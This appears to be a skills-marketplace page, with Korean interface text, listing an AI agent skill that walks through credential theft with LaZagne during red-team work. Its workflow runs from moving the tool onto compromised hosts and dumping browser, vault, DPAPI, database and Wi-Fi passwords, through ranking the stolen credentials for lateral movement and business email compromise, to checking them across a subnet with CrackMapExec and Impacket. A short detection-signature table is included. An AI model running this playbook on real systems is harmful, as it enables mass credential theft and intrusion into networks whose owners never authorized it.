mukul975/anthropic-cybersecurity-skills

performing-credential-access-with-lazagne

Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.

소스 보기

사용 방법

  1. 설치 명령을 복사하고 자신의 에이전트 환경에 설치하기 전에 소스 패키지를 확인하세요.
  2. 필요한 도구, 인증 정보, 지원 환경은 원본 문서에서 확인하세요.
  3. 입력과 원하는 산출물을 설명하고 출처와 결과를 대조하세요.
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-credential-access-with-lazagne

시작 전 확인

  • 설치에는 모델 구독, API 한도, 파일 접근 권한이 포함되지 않습니다.
  • 별점 수와 설치 수는 활동 지표이며 독립적인 품질·보안 검증이 아닙니다.
원본 Skill 문서

원본 저장소의 제목, 예시, 코드, 표, 링크, 이미지를 유지해 표시합니다.

Performing Credential Access with LaZagne

Overview

LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.

When to Use

  • When conducting security assessments that involve performing credential access with lazagne
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
  • Extract credentials from all supported password stores
  • Parse and prioritize recovered credentials for lateral movement
  • Identify high-value credentials (domain admin, service accounts, cloud access)
  • Document credential harvesting results with appropriate evidence handling
  • Correlate recovered credentials with BloodHound attack paths

MITRE ATT&CK Mapping

  • T1555 - Credentials from Password Stores
  • T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
  • T1555.004 - Credentials from Password Stores: Windows Credential Manager
  • T1552.001 - Unsecured Credentials: Credentials In Files
  • T1552.002 - Unsecured Credentials: Credentials in Registry
  • T1003.004 - OS Credential Dumping: LSA Secrets
  • T1539 - Steal Web Session Cookie

Workflow

Phase 1: LaZagne Deployment

  1. Transfer LaZagne to the compromised host:
powershell
   # Pre-compiled executable (Windows)
   # Transfer lazagne.exe via C2 channel or file upload

   # Python version (requires Python on target)
   git clone https://github.com/AlessandroZ/LaZagne.git
   cd LaZagne
   pip install -r requirements.txt
  1. Verify execution capability and privileges:
powershell
   # Check current user context
   whoami /priv

   # LaZagne works with standard user privileges for user-level stores
   # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM

Phase 2: Full Credential Extraction (Windows)

  1. Run LaZagne with all modules:
powershell
   # Extract all credentials
   lazagne.exe all

   # Export results to JSON
   lazagne.exe all -oJ

   # Export results to specific file
   lazagne.exe all -oJ -output C:\Temp\creds
  1. Run specific modules for targeted extraction:
powershell
   # Browsers only (Chrome, Firefox, Edge, Opera, IE)
   lazagne.exe browsers

   # Windows credential stores
   lazagne.exe windows

   # Database credentials
   lazagne.exe databases

   # Email client credentials
   lazagne.exe mails

   # Wi-Fi passwords
   lazagne.exe wifi

   # Git credentials
   lazagne.exe git

   # System credentials (requires elevated privileges)
   lazagne.exe sysadmin

Phase 3: Credential Extraction (Linux)

  1. Run LaZagne on Linux targets:
bash
   # Full extraction
   python3 laZagne.py all

   # Browser credentials
   python3 laZagne.py browsers

   # System credentials (SSH keys, shadow file with root)
   python3 laZagne.py sysadmin

   # Database credentials
   python3 laZagne.py databases

   # Git credentials
   python3 laZagne.py git

Phase 4: Credential Analysis and Prioritization

  1. Parse JSON output for unique credentials:
python
   import json
   with open("creds.json") as f:
       results = json.load(f)
   for module in results:
       for entry in module.get("results", []):
           print(f"Source: {entry.get('Category')}")
           print(f"  User: {entry.get('Login', 'N/A')}")
           print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
  1. Prioritize credentials by value:
  • Domain credentials (AD accounts) for lateral movement
  • Cloud service credentials (AWS, Azure, GCP console)
  • VPN and remote access credentials
  • Database credentials for data access
  • Email credentials for business email compromise
  • Service account credentials for privilege escalation

Phase 5: Credential Validation and Use

  1. Validate recovered domain credentials:
bash
   # Test domain credentials with CrackMapExec
   crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'

   # Test with Impacket
   smbclient.py domain.local/user:'password'@10.10.10.1
  1. Cross-reference with BloodHound paths for high-value targets
  2. Use recovered credentials for lateral movement or privilege escalation

Tools and Resources

ToolPurposePlatform
LaZagneMulti-source credential extractionWindows/Linux/macOS
MimikatzLSASS/DPAPI credential dumpingWindows
SharpChromeChrome credential extraction (.NET)Windows
SharpDPAPIDPAPI credential decryptionWindows
CrackMapExecCredential validation and sprayingLinux
ImpacketRemote credential testingLinux (Python)

LaZagne Module Coverage (Windows)

CategoryModules
BrowsersChrome, Firefox, Edge, Opera, IE, Brave, Vivaldi
EmailOutlook, Thunderbird, Foxmail
DatabasesPostgreSQL, MySQL, SQLiteDB, Robomongo
SysadminPuTTY, WinSCP, FileZilla, OpenSSH, RDPManager
WindowsCredential Manager, Vault, DPAPI, Autologon
WiFiStored Wi-Fi passwords
GitGit Credential Store, Git Credential Manager
SVNTortoiseSVN
ChatPidgin, Skype

Detection Signatures

IndicatorDetection Method
LaZagne.exe process executionEDR process monitoring with hash-based detection
Access to Chrome Login Data SQLite DBFile access monitoring on browser credential stores
DPAPI CryptUnprotectData API callsAPI hooking and ETW tracing
Access to Windows Credential ManagerEvent 5379 (Credential Manager read)
Mass credential store enumerationBehavioral analysis for sequential access patterns
Python interpreter accessing credential filesScript block logging and file access auditing

Validation Criteria

  • [ ] LaZagne deployed on compromised endpoint
  • [ ] Full credential extraction completed (all modules)
  • [ ] Credentials exported in JSON format for analysis
  • [ ] Recovered credentials parsed and deduplicated
  • [ ] High-value credentials identified and prioritized
  • [ ] Domain credentials validated against AD
  • [ ] Lateral movement opportunities identified from recovered creds
  • [ ] Evidence documented with appropriate handling procedures

관련 작업

같은 저장소의 Skills

더 많은 Skills

모든 Skills
mukul975
커뮤니티

detecting-api-enumeration-attacks

Detect API enumeration attacks (BOLA/IDOR, OWASP API1:2023) by writing SIEM detection rules that flag sequential or UUID identifier iteration, parameter tampering, and mixed 200/401/403 response patterns from API gateway and WAF logs. Use when investigating suspected object-level authorization abuse, building threat-hunting queries for API access-control bypass, or hardening API logging/rate-limiting against enumeration.

설치 수
1
GitHub Stars
3.5만
업데이트
8월 31일
mukul975
커뮤니티

deploying-tailscale-for-zero-trust-vpn

Deploys and configures Tailscale (or self-hosted Headscale) as a WireGuard-based zero trust mesh VPN, setting up identity-aware ACLs, exit nodes, subnet routers, and MagicDNS for encrypted peer-to-peer connectivity. Use when replacing traditional VPN servers with an identity-authenticated mesh network or enforcing granular per-device access control lists.

설치 수
1
GitHub Stars
3.5만
업데이트
8월 31일
mukul975
커뮤니티

detecting-dependency-confusion

Detect and prevent dependency confusion (public-over-private package name resolution) in npm, PyPI, and Maven by enumerating claimable internal package names with tools like confused and OWASP dep-scan, then enforcing source restrictions via .npmrc, pip.conf/pyproject.toml, and Maven settings.xml. Use when onboarding a repo to a supply-chain security program, auditing lockfiles/manifests for confusable dependencies, or after an incident that may have leaked internal package names.

설치 수
1
GitHub Stars
3.5만
업데이트
8월 31일
mukul975
커뮤니티

detecting-typosquatting-packages-in-npm-pypi

'Detects typosquatting attacks in npm and PyPI package registries by analyzing package name similarity using Levenshtein distance and other string metrics, examining publish date heuristics to identify recently created packages mimicking established ones, and flagging download count anomalies where suspicious packages have disproportionately low usage compared to their legitimate targets. The analyst queries the PyPI JSON API and npm registry API to gather package metadata for automated comparis

설치 수
1
GitHub Stars
3.5만
업데이트
8월 31일